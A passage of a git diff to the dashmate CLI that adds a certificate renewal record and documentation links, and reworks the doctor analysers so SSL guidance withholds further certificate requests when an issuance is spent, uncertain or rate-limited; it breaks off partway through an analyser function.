diff --git a/packages/dashmate/src/commands/update.js b/packages/dashmate/src/commands/update.js index c3b99746639..dc3d4617073 100644 --- a/packages/dashmate/src/commands/update.js +++ b/packages/dashmate/src/commands/update.js @@ -67,6 +67,7 @@ export default class UpdateCommand extends ConfigBaseCommand { checkGatewayCertificate, gatewayCertificateTask, dockerCompose, + renewalRecordRepository, ) { const { format, @@ -85,6 +86,7 @@ export default class UpdateCommand extends ConfigBaseCommand { config, verdict, dockerCompose, + renewalRecordRepository, pull: this.pullResult ?? null, obtainAttemptFailed, }); diff --git a/packages/dashmate/src/config/configFile/ConfigFileJsonRepository.js b/packages/dashmate/src/config/configFile/ConfigFileJsonRepository.js index 6d1507f9b90..5bc53743156 100644 --- a/packages/dashmate/src/config/configFile/ConfigFileJsonRepository.js +++ b/packages/dashmate/src/config/configFile/ConfigFileJsonRepository.js @@ -11,6 +11,7 @@ import ConfigFileNotFoundError from '../errors/ConfigFileNotFoundError.js'; import InvalidConfigFileFormatError from '../errors/InvalidConfigFileFormatError.js'; import configFileJsonSchema from './configFileJsonSchema.js'; import ConfigFile from './ConfigFile.js'; +import ConfigurationLockLostError from '../../ssl/errors/ConfigurationLockLostError.js'; /** * How long a lock may go un-refreshed before another process may break it. @@ -229,7 +230,7 @@ export default class ConfigFileJsonRepository { this.#save(configFile); if (!this.isExclusive()) { - throw new Error('Lost the configuration lock after saving the config file;' + throw new ConfigurationLockLostError('Lost the configuration lock after saving the config file;' + ' follow-up filesystem changes were not run. Re-run the command.'); } @@ -274,7 +275,7 @@ export default class ConfigFileJsonRepository { return this.#locked(() => { if (!this.isExclusive()) { - throw new Error('Lost the configuration lock before the config file was migrated.'); + throw new ConfigurationLockLostError('Lost the configuration lock before the config file was migrated.'); } // Another process may have migrated or changed the file while this @@ -535,7 +536,7 @@ export default class ConfigFileJsonRepository { } if (Date.now() >= deadline) { - throw new Error(`Timed out waiting for configuration lock '${this.lockFilePath}'.` + throw new ConfigurationLockLostError(`Timed out waiting for configuration lock '${this.lockFilePath}'.` + ' It may be held by a Dashmate command, the dashmate helper during certificate' + ' renewal, or a running reindex. An abandoned lock after SIGKILL or power loss' + ' clears itself after about a minute; do not remove it manually while another' diff --git a/packages/dashmate/src/createDIContainer.js b/packages/dashmate/src/createDIContainer.js index 791bca53a5d..0fca173c771 100644 --- a/packages/dashmate/src/createDIContainer.js +++ b/packages/dashmate/src/createDIContainer.js @@ -14,6 +14,7 @@ import getServiceListFactory from './docker/getServiceListFactory.js'; import ensureFileMountExistsFactory from './docker/ensureFileMountExistsFactory.js'; import getConnectionHostFactory from './docker/getConnectionHostFactory.js'; import ConfigFileJsonRepository from './config/configFile/ConfigFileJsonRepository.js'; +import RenewalRecordRepository from './ssl/renewalRecord/RenewalRecordRepository.js'; import createConfigFileFactory from './config/configFile/createConfigFileFactory.js'; import migrateConfigFileFactory from './config/configFile/migrateConfigFileFactory.js'; import DefaultConfigs from './config/DefaultConfigs.js'; @@ -166,6 +167,7 @@ export default async function createDIContainer(options = {}) { legoCaCertificatePath: asValue(null), legoContainerOptions: asValue({}), configFileRepository: asClass(ConfigFileJsonRepository).singleton(), + renewalRecordRepository: asClass(RenewalRecordRepository).singleton(), getBaseConfig: asFunction(getBaseConfigFactory).singleton(), getLocalConfig: asFunction(getLocalConfigFactory).singleton(), getTestnetConfig: asFunction(getTestnetConfigFactory).singleton(), diff --git a/packages/dashmate/src/docsLinks.js b/packages/dashmate/src/docsLinks.js new file mode 100644 index 00000000000..75c7521683b --- /dev/null +++ b/packages/dashmate/src/docsLinks.js @@ -0,0 +1,34 @@ +/** + * Every documentation link dashmate prints, in one place. + * + * Gathered because they were repeated inline: the SSL-certificates anchor + * appeared three times in one file alone, and the certificate troubleshooting + * article was a constant in another. A link that lives in several places is one + * that gets updated in some of them - and dashmate has already shipped links + * that answered 404, which costs the command the credibility it needs at the + * moment an operator is following its instructions. + * + * Two forms appear here, deliberately. `docs.dash.org/` is a redirect + * configured in the documentation site's dashboard; those exist for some pages + * and not others. Where no redirect was created, the published path is used + * instead - it resolves today, and a link that resolves beats a shorter one + * that does not. + */ +export const DOCS_LINKS = { + /** Choosing and configuring a certificate provider. */ + SSL_CERTIFICATES: 'https://docs.dash.org/en/stable/docs/user/masternodes/setup-evonode.html#ssl-certificates', + + /** Why renewal fails, and what to do about each cause. */ + CERTIFICATE_TROUBLESHOOTING: 'https://docs.dash.org/en/stable/docs/user/masternodes/troubleshooting-certificates.html', + + /** Registering an evonode's collateral from Dash Core. */ + EVONODE_COLLATERAL: 'https://docs.dash.org/evonode-setup-core-collateral', + + /** Registering a masternode's collateral from Dash Core. */ + MASTERNODE_COLLATERAL: 'https://docs.dash.org/mn-setup-core-collateral', + + /** Dash Masternode Tool. */ + DMT_SETUP: 'https://docs.dash.org/dmt-setup', +}; + +export default DOCS_LINKS; diff --git a/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js b/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js index d716af62442..2219c23127a 100644 --- a/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js +++ b/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js @@ -5,6 +5,11 @@ import { ERRORS as ZEROSSL_ERRORS } from '../../ssl/zerossl/validateZeroSslCerti import { SEVERITY } from '../Prescription.js'; import Problem from '../Problem.js'; import renderConfigFlag from '../../util/renderConfigFlag.js'; +import { DOCS_LINKS } from '../../docsLinks.js'; +import { RENEWAL_RECORD_STATES } from '../../ssl/renewalRecord/RenewalRecordRepository.js'; +import RenewalRecord from '../../ssl/renewalRecord/RenewalRecord.js'; +import deriveRenewalGuidance, { SAFE_ACTION } from '../../ssl/renewalGuidance.js'; +import renderObtainCommand from '../../ssl/renderObtainCommand.js'; /** * Whether a ZeroSSL certificate can be renewed depends on the operator's plan, which dashmate @@ -16,6 +21,60 @@ of charge: {bold.cyanBright dashmate config set platform.gateway.ssl.providerConfigs.letsencrypt.email EMAIL} {bold.cyanBright dashmate ssl obtain}`; +/** + * What to say instead of a certificate request, when the renewal record forbids + * one - or nothing, when it does not. + * + * The legacy checks below cannot be left to decide this for themselves. They + * predate the record entirely, and each one ends in its own command. + * + * @param {Samples} samples + * @param {Config} config + * @return {string|null} + */ +function withheldRequest(samples, config) { + const sample = samples.getServiceInfo('gateway', 'certificateRenewal'); + const record = sample?.state === RENEWAL_RECORD_STATES.PRESENT + ? RenewalRecord.fromObject(sample) + : null; + + // A record left by a provider this node no longer uses says nothing about the + // one it does. The configuration watcher hands over without clearing it, so + // without this a stale spent or uncertain record would suppress a request + // that is now perfectly valid - the renewal-aware analyser already ignores it + // for exactly that reason, and these two must not disagree. + // The same two inputs the renewal-aware analyser uses. Without the installed + // certificate's date, a failure that a newer certificate has already overtaken + // still counts here - so this analyser would replace a valid repair with stale + // no-obtain guidance while the other one correctly ignored the same record. + const applicable = record?.isFailed() + && record.appliesTo({ + provider: config.get('platform.gateway.ssl.provider'), + certificateValidFrom: samples.getServiceInfo('gateway', 'installedCertificate')?.validFrom + ?? null, + }) + ? record + : null; + + const guidance = deriveRenewalGuidance({ + record: applicable, + isRecordUnreadable: sample?.state === RENEWAL_RECORD_STATES.UNREADABLE + || (sample?.state === RENEWAL_RECORD_STATES.PRESENT && record === null), + isCertificateUsable: false, + }); + + // A provider switch forbids these remedies just as firmly as an outright + // refusal: they ask this provider for another certificate, while the + // renewal-aware analyser in the same report says this provider will never + // issue one again. + if (guidance.safeAction !== SAFE_ACTION.DO_NOT_OBTAIN + && guidance.safeAction !== SAFE_ACTION.SWITCH_PROVIDER) { + return null; + } + + return renderObtainCommand({ configName: config.getName(), guidance }); +} + export default function analyseConfigFactory() { /** * @typedef analyseConfig @@ -52,7 +111,7 @@ export default function analyseConfigFactory() { if (config.get('network') !== NETWORK_LOCAL) { const problem = new Problem( 'SSL certificates are disabled. Clients won\'t be able to connect securely', - chalk`Please enable and set up SSL certificates {bold.cyanBright https://docs.dash.org/en/stable/masternodes/dashmate.html#ssl-certificate}`, + chalk`Please enable and set up SSL certificates {bold.cyanBright ${DOCS_LINKS.SSL_CERTIFICATES}}`, SEVERITY.HIGH, ); @@ -63,7 +122,7 @@ export default function analyseConfigFactory() { if (config.get('network') === NETWORK_MAINNET) { const problem = new Problem( 'Self-signed SSL certificate is used on mainnet. Clients won\'t be able to connect securely', - chalk`Please use valid SSL certificates {bold.cyanBright https://docs.dash.org/en/stable/masternodes/dashmate.html#ssl-certificate}`, + chalk`Please use valid SSL certificates {bold.cyanBright ${DOCS_LINKS.SSL_CERTIFICATES}}`, SEVERITY.HIGH, ); @@ -88,7 +147,7 @@ Private key file path: {bold.cyanBright ${ssl?.data?.privateFilePath}}`, Certificate chain file path: {bold.cyanBright ${ssl?.data?.chainFilePath}} Private key file path: {bold.cyanBright ${ssl?.data?.privateFilePath}} -Or use ZeroSSL https://docs.dash.org/en/stable/masternodes/dashmate.html#ssl-certificate`, +Or use ZeroSSL ${DOCS_LINKS.SSL_CERTIFICATES}`, }, }; @@ -211,9 +270,14 @@ a working certificate.`, }[ssl.error] ?? {}; if (description) { + // These checks predate the renewal record and each ends in its + // own request. They run before the renewal-aware analyser in the + // same report, so a node whose recorded cause forbids asking + // again would read "do not obtain" from one and a runnable + // command from the other - and follow the command. const problem = new Problem( description, - solution, + withheldRequest(samples, config) ?? solution, severity, ); diff --git a/packages/dashmate/src/doctor/analyse/analyseGatewayCertificateFactory.js b/packages/dashmate/src/doctor/analyse/analyseGatewayCertificateFactory.js index 6ca57e0d1bb..a14c16837b3 100644 --- a/packages/dashmate/src/doctor/analyse/analyseGatewayCertificateFactory.js +++ b/packages/dashmate/src/doctor/analyse/analyseGatewayCertificateFactory.js @@ -7,6 +7,22 @@ import { GATED_NETWORKS, requiresReplacement, } from '../../ssl/checkGatewayCertificateFactory.js'; +import RenewalRecord from '../../ssl/renewalRecord/RenewalRecord.js'; +import { RENEWAL_RECORD_STATES } from '../../ssl/renewalRecord/RenewalRecordRepository.js'; +import { + describeRenewalFailure, + MAX_DETAIL_CHARS, + REMEDY_CLASS, + RENEWAL_FAILURE_CODES, + sanitizeDetail, +} from '../../ssl/renewal-failure.js'; +import { RETRY_INTERVAL_MS } from '../../helper/scheduleRenewalJob.js'; +import deriveRenewalGuidance, { ISSUANCE_STATUS, SAFE_ACTION } from '../../ssl/renewalGuidance.js'; +import { SSL_PROVIDERS } from '../../constants.js'; +import LegoCertificate from '../../ssl/letsencrypt/LegoCertificate.js'; +import ZeroSslCertificate from '../../ssl/zerossl/Certificate.js'; +import renderObtainCommand from '../../ssl/renderObtainCommand.js'; +import { DOCS_LINKS } from '../../docsLinks.js'; /** * The manual obtain command writes certificate files but does not signal the gateway, so an @@ -89,8 +105,18 @@ const TRUST_PATH_FAILURES = [ 'UNABLE_TO_GET_ISSUER_CERT_LOCALLY', ]; +const LEGO_EXPIRATION_LIMIT_DAYS = LegoCertificate.EXPIRATION_LIMIT_DAYS; +const ZEROSSL_EXPIRATION_LIMIT_DAYS = ZeroSslCertificate.EXPIRATION_LIMIT_DAYS; + const restartHint = (cfg) => chalk`Then restart Platform so the gateway picks it up: {bold.cyanBright dashmate restart ${cfg} --platform}`; +/** + * Where an operator can read the whole story rather than one message of it. + * + * A short redirect rather than a full path: the last full path put here went + * dead when the documentation was reorganised, while the redirects around it + * survived. + */ /** * An operator reading a certificate problem is deciding whether their node is * falling behind. It is not: `update` pulls images whatever the certificate @@ -100,6 +126,351 @@ const restartHint = (cfg) => chalk`Then restart Platform so the gateway picks it const UPDATE_CONSEQUENCE = 'The certificate saved for the gateway is not usable.' + ' Updates still work.'; +/** + * Renewal only means something where dashmate is the one renewing. + * + * The shipped default is SSL turned off with a provider already named, so + * reading the provider alone would speak on every node that has never obtained + * a certificate, and on every node whose operator deliberately stopped. + * + * @param {Config} config + * @return {boolean} + */ +const isRenewalManaged = (config) => config.get('platform.gateway.ssl.enabled') === true + && [SSL_PROVIDERS.ZEROSSL, SSL_PROVIDERS.LETSENCRYPT] + .includes(config.get('platform.gateway.ssl.provider')); + +/** + * @param {string|null} value + * @return {string|null} + */ +const asDay = (value) => { + if (!value) { + return null; + } + + const date = new Date(value); + + // A report can arrive from someone else, and `doctor --samples` reads its + // JSON straight into the sample set without passing through the reader that + // validates a local record. An unusable date would throw out of the analyser + // and take the whole diagnosis with it. + return Number.isNaN(date.getTime()) ? null : date.toISOString().slice(0, 10); +}; + +/** + * When the certificate in use stops working, which is the only number that + * tells an operator how much time they have. + * + * @param {Object|null} installed + * @return {string} + */ +function renderDeadline(installed) { + const day = asDay(installed?.validTo); + + return day ? ` This node stops accepting clients on ${day}.` : ''; +} + +/** + * What is known about how long this has been going on. + * + * Never "failing since" the last success: the record knows when renewal last + * worked and how many attempts have failed since, not when the failures began, + * and on a ninety-day certificate those are months apart. The count itself is + * not shown either - it counts scheduler wake-ups, which mix hourly re-checks + * with attempts days apart, so a number here would be read as attempts. + * + * Kept out of the description and put with the remedy: it is the least + * actionable sentence of the three, and doctor does not wrap descriptions. + * + * @param {Object} record + * @return {string} + */ +function renderHistory(record) { + const lastSuccess = asDay(record.getLastSuccessAt()); + + return lastSuccess + ? `Last renewed ${lastSuccess}; every attempt since has failed.` + : 'dashmate does not know when this node last renewed successfully.'; +} + +/** + * Whether renewal will come back around on its own, and when. + * + * Derived rather than stored, so it cannot promise a retry that was recorded + * before anything decided there would be one. A time already past is reported + * as such, with the repair that follows from it - an overdue attempt is the + * plainest evidence available that the part of dashmate which renews + * certificates is not running. + * + * @param {Object} record + * @param {number} now + * @param {string} cfg + * @return {string} + */ +function renderNextAttempt(record, now, cfg) { + const nextAt = record.getAttemptedAt().getTime() + RETRY_INTERVAL_MS; + + if (nextAt <= now) { + return chalk`dashmate should have tried again by now and has not, so the part of dashmate +that renews certificates may not be running. Start it: +{bold.cyanBright dashmate start ${cfg}}`; + } + + // Dated, not just timed: an archived report is read days after it was + // collected, which is the whole reason these are judged against the sample. + return `dashmate tries again by itself at ${new Date(nextAt).toISOString().slice(0, 16).replace('T', ' ')} UTC.`; +} + +/** + * Where to look for whatever is holding port 80, or for whatever else stopped + * the certificate check from running. + * + * `ss` lists what is listening on this machine, which is the whole answer only + * when dashmate's own check could not bind. When something answered the + * certificate authority instead, it is as likely to be a router forwarding the + * port elsewhere, or a hosting provider's page - and an operator who sees an + * empty table and stops has nowhere else to look. + * + * @param {string} code + * @param {string} cfg + * @param {boolean} isShortLived - whether this provider reissues every few days + * @return {string} + */ +function renderPortEightyHint(code, cfg, isShortLived) { + if (code === RENEWAL_FAILURE_CODES.PORT_80_IN_USE) { + return chalk`Find what is using port 80 on this machine and move it off that port: +{bold.cyanBright sudo ss -lntp 'sport = :80'} +{underline.cyanBright ${DOCS_LINKS.CERTIFICATE_TROUBLESHOOTING}}`; + } + + // Named, and it takes the same ending as every other cause read from a + // message - so what a rate limit needs said has to be said here. Withholding + // the command instead would let text a responder can influence decide what + // an operator is allowed to do, and the same text can hide a closed port + // behind a nonce retry the client already survived. + if (code === RENEWAL_FAILURE_CODES.RATE_LIMITED) { + return chalk`This clears by itself - dashmate keeps trying every hour. Running the +command below now will fail and does not make it clear any sooner.`; + } + + // dashmate's own check answers the same way for nothing replying and for + // something replying wrongly, so its hint has to cover both. Routing it + // through the firewall instructions below sent an operator to open a port + // that was already open and answering. + if (code === RENEWAL_FAILURE_CODES.PORT_80_CHECK_FAILED) { + return chalk`Either nothing reached this node on port 80, or something else answered. +Check what is listening here first: +{bold.cyanBright sudo ss -lntp 'sport = :80'} +Nothing listed? Open inbound port 80 - on the machine's firewall, at your +hosting provider, and on your router. Something listed that is not dashmate? +Move it off that port. +{underline.cyanBright ${DOCS_LINKS.CERTIFICATE_TROUBLESHOOTING}}`; + } + + if (code === RENEWAL_FAILURE_CODES.PORT_80_WRONG_RESPONDER) { + return chalk`Another web server, a proxy, or your router is answering on port 80 instead +of this node. Check this machine first: +{bold.cyanBright sudo ss -lntp 'sport = :80'} +Nothing listed? Then it is answered before it reaches this machine - check +your router's port forwarding and your hosting provider, and check the port +is open there too: which of the two this is comes from what the authority +reported, and that report quotes back whatever answered. +{underline.cyanBright ${DOCS_LINKS.CERTIFICATE_TROUBLESHOOTING}}`; + } + + // Nothing reached the certificate authority, so none of the above is where + // the answer lives. Sending an operator to rewrite firewall rules that were + // never wrong is the failure this whole change exists to stop. + if (code === RENEWAL_FAILURE_CODES.HELPER_DID_NOT_START) { + return chalk`Check that Docker is running, then look at what it reported: +{bold.cyanBright dashmate logs ${cfg} dashmate_helper}`; + } + + return chalk`Open inbound port 80 - on the machine's firewall, at your hosting provider, +and on your router if this node is behind one.${isShortLived + ? '\nIt has to stay open: the certificate is renewed every few days.' + : ''} +Already open? Then something else is answering there - find it with +{bold.cyanBright sudo ss -lntp 'sport = :80'} +{underline.cyanBright ${DOCS_LINKS.CERTIFICATE_TROUBLESHOOTING}}`; +} + +/** + * The ending an operator is given, chosen by what the cause allows. + * + * A cause that cannot be repaired by asking again must never end in a command + * that asks again: the certificate authority limits how often this node may + * fail, and an issuance that was spent but never landed is spent whether or + * not it arrived. Every path that prints a repair goes through here, including + * the one for a certificate that is already broken - that path is the one an + * operator reaches most often, and printing a command it forbids is worse than + * printing none. + * + * @param {Object} options + * @return {string|null} null when there is nothing for the operator to do + */ +function renderRemedy({ + code, remedy, cfg, configName, force, isIssuanceSpent, isIssuanceUncertain, + isCertificateUsable, safeAction, issuanceStatus, +}) { + const obtain = renderObtainCommand({ + configName, guidance: { safeAction, issuanceStatus }, force: force !== '', + }); + + // The derivation has already decided whether asking again is safe. Anything + // below that would print a request must not run when it says no. + const mayObtain = safeAction !== SAFE_ACTION.DO_NOT_OBTAIN + && safeAction !== SAFE_ACTION.WAIT_AFTER_LOCAL_FIX; + + // The spent issuance outranks everything except its own cause's wording: it + // is the one state where asking again has a cost that is already incurred + // and cannot be undone. + if (isIssuanceSpent) { + if (code === RENEWAL_FAILURE_CODES.CERTIFICATE_ISSUED_NOT_SAVED) { + // No command. It used to end in one, directly under the sentence saying + // not to - and a problem that ends in a runnable command is an + // instruction to run it, which is the second weekly certificate this + // state exists to protect. The repair is local, and the next automatic + // attempt takes it from there. + return chalk`Do not obtain another certificate yet - one was already issued and could not +be saved, so asking again spends another. Check free space and permissions +where dashmate saves certificates. dashmate retries by itself every hour - +then check it worked: +{bold.cyanBright dashmate doctor ${cfg}}`; + } + + // A different cause now, but that earlier certificate is still spent, so + // the repair for this cause must not end in another request. + return null; + } + + // The helper's result was never read, so a certificate may already have been + // issued. Asking again while that is unknown can spend a second one. + if (isIssuanceUncertain) { + return chalk`Do not obtain one yet - an earlier attempt may already have been issued a +certificate without dashmate seeing it. Check whether one arrived: +{bold.cyanBright dashmate doctor ${cfg}}`; + } + + if (remedy === REMEDY_CLASS.DO_NOT_RETRY) { + if (code === RENEWAL_FAILURE_CODES.RATE_LIMITED) { + return 'Do not obtain a certificate now - it would be refused the same way and count' + + ' against this node\'s limits.'; + } + + // Nothing was refused, and saying so would contradict the cause directly + // above: dashmate does not know whether a certificate was issued. + return 'Do not obtain one yet - a certificate may already have been issued.'; + } + + // Keyed on the decided action as well as the cause's own remedy: the + // derivation may already have withheld the request for a reason this branch + // has never heard of, and reading `remedy` alone walked straight past it. + if (remedy === REMEDY_CLASS.SWITCH_PROVIDER && mayObtain) { + return chalk`Switch to Let's Encrypt. Certificates are free and it does not cap the number +of certificates this way. It needs inbound port 80 open to the internet, +permanently - and if you cannot open it, there is no other way to get a +certificate for an IP address. +${obtain}`; + } + + // Nothing actionable was established, so asking the authority again is a + // guess with a cost - and that is as true of a node whose certificate is + // already broken as of one still serving. Send the evidence somewhere it can + // be read instead. + if (remedy === REMEDY_CLASS.SUPPORT) { + return chalk`Send a report to Dash support: +{bold.cyanBright dashmate doctor report ${cfg}}`; + } + + // The node still works and renewal comes back around on its own once the + // cause is gone. Ending here with a command spends one of the few failed + // attempts this node is allowed, on a repair that has not been made yet. + // The derivation already decided this from the same inputs; re-deciding it + // here is what let the two surfaces disagree. + if (safeAction === SAFE_ACTION.WAIT_AFTER_LOCAL_FIX) { + return null; + } + + if (remedy === REMEDY_CLASS.WAIT) { + return chalk`Wait for the other command to finish, then get a working certificate: +${obtain}`; + } + + // The repair is described above; this is how an operator finds out whether + // it worked. Nothing listens on port 80 outside a renewal, so there is + // nothing they can probe themselves - and an hour spent not knowing is an + // hour in which they stop looking. + if (safeAction === SAFE_ACTION.OBTAIN_AFTER_LOCAL_FIX) { + return chalk`Once that is done, check it worked right away: +${obtain} +Or leave it - dashmate retries by itself every hour.`; + } + + return mayObtain + ? chalk`Get a working certificate: +${obtain}` + : chalk`Send a report to Dash support: +{bold.cyanBright dashmate doctor report ${cfg}}`; +} + +/** + * The command that asks the authority for a certificate, or the reason it is + * being withheld. + * + * Every branch that would request one goes through here. Deciding it per + * branch is what let a node with an issuance already outstanding be told to + * spend another, from a branch that had never heard of the renewal record. + * + * @param {Object} options + * @return {string} + */ +function renderCertificateRequest({ + cfg, configName, force = '', safeAction, issuanceStatus, +}) { + // A node that still works waits for the automatic attempt instead: asking now + // spends one of the few failures the authority allows, on a repair the + // operator has not made yet. + if (safeAction === SAFE_ACTION.WAIT_AFTER_LOCAL_FIX) { + return chalk`Fix the cause above. dashmate retries by itself - then check it worked: +{bold.cyanBright dashmate doctor ${cfg}}`; + } + + // A repair has just been described, and this is the only way to find out + // whether it worked: nothing listens on port 80 except during a renewal, so + // there is nothing an operator can probe for themselves. Framed as the check + // it is, with the automatic attempt named as the alternative, so nobody + // reads it as an instruction to keep asking. + if (safeAction === SAFE_ACTION.OBTAIN_AFTER_LOCAL_FIX) { + return chalk`Once that is done, check it worked right away: +${renderObtainCommand({ configName, guidance: { safeAction, issuanceStatus }, force: force !== '' })} +Or leave it - dashmate retries by itself every hour.`; + } + + if (safeAction !== SAFE_ACTION.DO_NOT_OBTAIN) { + return renderObtainCommand({ + configName, guidance: { safeAction, issuanceStatus }, force: force !== '', + }); + } + + if (issuanceStatus === ISSUANCE_STATUS.SPENT) { + return chalk`Do not obtain one - a certificate was already issued and could not be saved, +so asking again spends another. Send a report instead: +{bold.cyanBright dashmate doctor report ${cfg}}`; + } + + if (issuanceStatus === ISSUANCE_STATUS.UNCERTAIN) { + return chalk`Do not obtain one yet - an earlier attempt may already have been issued a +certificate without dashmate seeing it: +{bold.cyanBright dashmate doctor ${cfg}}`; + } + + return chalk`Do not obtain one right now - it would not succeed, and each attempt counts +against this node's limits: +{bold.cyanBright dashmate doctor ${cfg}}`; +} + export default function analyseGatewayCertificateFactory() { /** * Analyse the certificate installed for the gateway and the one it serves. @@ -142,6 +513,134 @@ export default function analyseGatewayCertificateFactory() { // about the same certificate. const installedForce = requiresReplacement(installed) ? ' --force' : ''; + // Certificate validity is judged against the moment the samples were taken. + const sampledAt = samples.date?.getTime() ?? Date.now(); + + // Only a record that still describes the certificate in use. A provider + // switch leaves the previous provider's account behind, and a certificate + // obtained by hand after a failure overtakes that failure entirely - the + // helper cannot notice either, so the reader has to. + const renewalSample = samples.getServiceInfo('gateway', 'certificateRenewal'); + + // Rebuilt through the model rather than read field by field. An archived + // report reaches here without passing through the repository, so this is + // where a record that cannot be understood - a missing verdict, an + // unusable date - is turned into no record at all. + const renewalRecord = renewalSample?.state === RENEWAL_RECORD_STATES.PRESENT + ? RenewalRecord.fromObject(renewalSample) + : null; + + const renewal = isRenewalManaged(config) + && renewalRecord?.appliesTo({ + provider: config.get('platform.gateway.ssl.provider'), + certificateValidFrom: installed?.validFrom ?? null, + }) + ? renewalRecord + : null; + + const failedRenewal = renewal?.isFailed() ? renewal : null; + + // The same derivation the update surface uses. Precedence - whether asking + // for a certificate is safe, and what an outstanding issuance does to that + // - is decided in one place, because deciding it twice is what let the two + // surfaces contradict each other about the same node. + const guidance = deriveRenewalGuidance({ + record: failedRenewal, + // A record that exists and cannot be read may be the one saying an + // issuance is outstanding. Update already refused to spend a certificate + // on evidence nobody could inspect; the doctor has to as well, or the two + // disagree again about the same node. + // A sample that says PRESENT and does not parse is unreadable too. Only + // the state was checked before, so a malformed, damaged or hostile + // archive produced a null record with nothing marking it unreadable - + // and the derivation then read that as "nothing recorded" and allowed a + // request, which is the fail-open this guard exists to prevent. + isRecordUnreadable: isRenewalManaged(config) + && (renewalSample?.state === RENEWAL_RECORD_STATES.UNREADABLE + || (renewalSample?.state === RENEWAL_RECORD_STATES.PRESENT && renewalRecord === null)), + // Decided here, once, and never again by a renderer: whether waiting for + // the next automatic attempt is affordable depends on whether this node + // still has a working certificate, and both surfaces have to agree. + isCertificateUsable: installed ? installed.status !== 'INVALID' : true, + }); + + // Bound once so no branch below can print a request the derivation forbids. + const certificateRequest = (force = '') => renderCertificateRequest({ + cfg, + configName: config.getName(), + force, + safeAction: guidance.safeAction, + issuanceStatus: guidance.issuanceStatus, + }); + + // Let's Encrypt issues IP certificates on a six-day profile, so port 80 has + // to stay open permanently. ZeroSSL's last ninety days, and telling its + // operators the same thing is simply false. + const isShortLivedProvider = config.get('platform.gateway.ssl.provider') + === SSL_PROVIDERS.LETSENCRYPT; + + /** + * What the record says went wrong, and what to do about it. + * + * @param {boolean} isCertificateUsable + * @return {string} + */ + const renderRenewalCause = (isCertificateUsable) => { + const { remedy, sentence } = describeRenewalFailure(failedRenewal.getCode()); + // Only the cause that actually produced this state may claim the + // issuance. Carried forward from an earlier attempt it still forbids + // asking again, but it does not get to describe a different failure. + // Led with the cause only where the description above is about the + // certificate rather than the renewal. An operator reads until they find + // something to run and stops, so a repair printed above the reason it is + // wrong is a repair they will run - but saying it twice in six lines + // reads as padding and pushes the repair off the screen. + const blocks = isCertificateUsable ? [] : [`Renewal is failing: ${sentence}.`]; + + if (remedy === REMEDY_CLASS.FIX_LOCALLY) { + blocks.push(renderPortEightyHint(failedRenewal.getCode(), cfg, isShortLivedProvider)); + } + + const ending = renderRemedy({ + code: failedRenewal.getCode(), + remedy, + cfg, + configName: config.getName(), + force: installedForce, + isIssuanceSpent: guidance.issuanceStatus === ISSUANCE_STATUS.SPENT, + isIssuanceUncertain: guidance.issuanceStatus === ISSUANCE_STATUS.UNCERTAIN, + isCertificateUsable, + safeAction: guidance.safeAction, + issuanceStatus: guidance.issuanceStatus, + }); + + if (ending) { + blocks.push(ending); + } + + if (isCertificateUsable) { + blocks.push(renderNextAttempt(failedRenewal, sampledAt, cfg)); + } + + // Whatever the provider actually said, whenever it said anything. It is + // already bounded, redacted and stripped, and it is the only account of + // the failure that did not come from dashmate. + // Stripped and bounded here rather than only where a local record is + // read: `doctor --samples` analyses an archive handed over by someone + // else, and this is the first free text either surface prints verbatim. + // Left intact, a terminal escape in it could erase everything printed + // above and repaint attacker text as dashmate's own output. + const detail = sanitizeDetail(failedRenewal.getDetail()).slice(0, MAX_DETAIL_CHARS); + + if (detail) { + blocks.push(`It reported: ${detail}`); + } + + blocks.push(renderHistory(failedRenewal)); + + return blocks.join('\n\n'); + }; + if (installed) { installed.reasons.forEach(({ code, message }) => { // Nothing can be issued for an address dashmate does not have, and the @@ -152,20 +651,103 @@ export default function analyseGatewayCertificateFactory() { Set this node's public address, then obtain a certificate: {bold.cyanBright dashmate config set ${cfg} externalIp } -{bold.cyanBright dashmate ssl obtain ${cfg} --provider letsencrypt}` +${certificateRequest()}` : chalk`${UPDATE_CONSEQUENCE} Obtain a new certificate. No restart needed: -{bold.cyanBright dashmate ssl obtain ${cfg} --provider letsencrypt${installedForce}}`; +${certificateRequest(installedForce)}`; - problems.push(new Problem(message, remedy, SEVERITY.HIGH)); + // Nothing can be issued for an address dashmate does not have, and the + // obtain command refuses to start without one - so this prerequisite + // survives whatever the renewal record says. Replacing the whole remedy + // with the renewal cause dropped it, leaving guidance that cannot run. + const prerequisite = code === CERTIFICATE_REASONS.NO_EXTERNAL_IP + ? chalk`Set this node's public address first - nothing can be issued without one: +{bold.cyanBright dashmate config set ${cfg} externalIp }` + : null; + + // A cause that forbids asking again outranks the reason's own repair, + // and so does a record that could not be read at all - it may be the + // one saying an issuance is already outstanding. + const cannotObtain = guidance.safeAction === SAFE_ACTION.DO_NOT_OBTAIN; + + let solution = remedy; + + if (failedRenewal) { + solution = [UPDATE_CONSEQUENCE, prerequisite, renderRenewalCause(false)] + .filter(Boolean).join('\n\n'); + } else if (cannotObtain) { + solution = chalk`${UPDATE_CONSEQUENCE} + +dashmate could not read what it recorded about the last renewal, so it cannot +tell whether a certificate is already outstanding. Obtaining one now could spend +a second one against this node's weekly limit: +{bold.cyanBright dashmate doctor report ${cfg}}`; + } + + problems.push(new Problem(message, solution, SEVERITY.HIGH)); }); + // Fires on a node every other check calls healthy. Nothing is wrong with + // the certificate in use; it is simply the last one this node will get + // unless the cause is repaired, and on a Let's Encrypt certificate that + // is a couple of days away. + const isCertificateUsable = installed.status !== 'INVALID'; + + // Inside the window - or overdue - the failing retries are the only thing + // between this node and darkness, so it is urgent. A ZeroSSL node whose + // API call failed months before expiry is not, and calling it HIGH there + // teaches an operator to discount the ones that are. + const expiresInDays = installed?.validTo + ? (new Date(installed.validTo).getTime() - sampledAt) / (24 * 60 * 60 * 1000) + : null; + const renewalWindowDays = config.get('platform.gateway.ssl.provider') === SSL_PROVIDERS.ZEROSSL + ? ZEROSSL_EXPIRATION_LIMIT_DAYS + : LEGO_EXPIRATION_LIMIT_DAYS; + // An attempt that was due and never came means nothing is renewing this + // node, which is urgent regardless of how far off expiry still is. + const isRetryOverdue = failedRenewal !== null + && failedRenewal.getAttemptedAt().getTime() + RETRY_INTERVAL_MS <= sampledAt; + const isInsideRenewalWindow = expiresInDays === null + || expiresInDays <= renewalWindowDays + || isRetryOverdue; + + if (failedRenewal && isCertificateUsable) { + 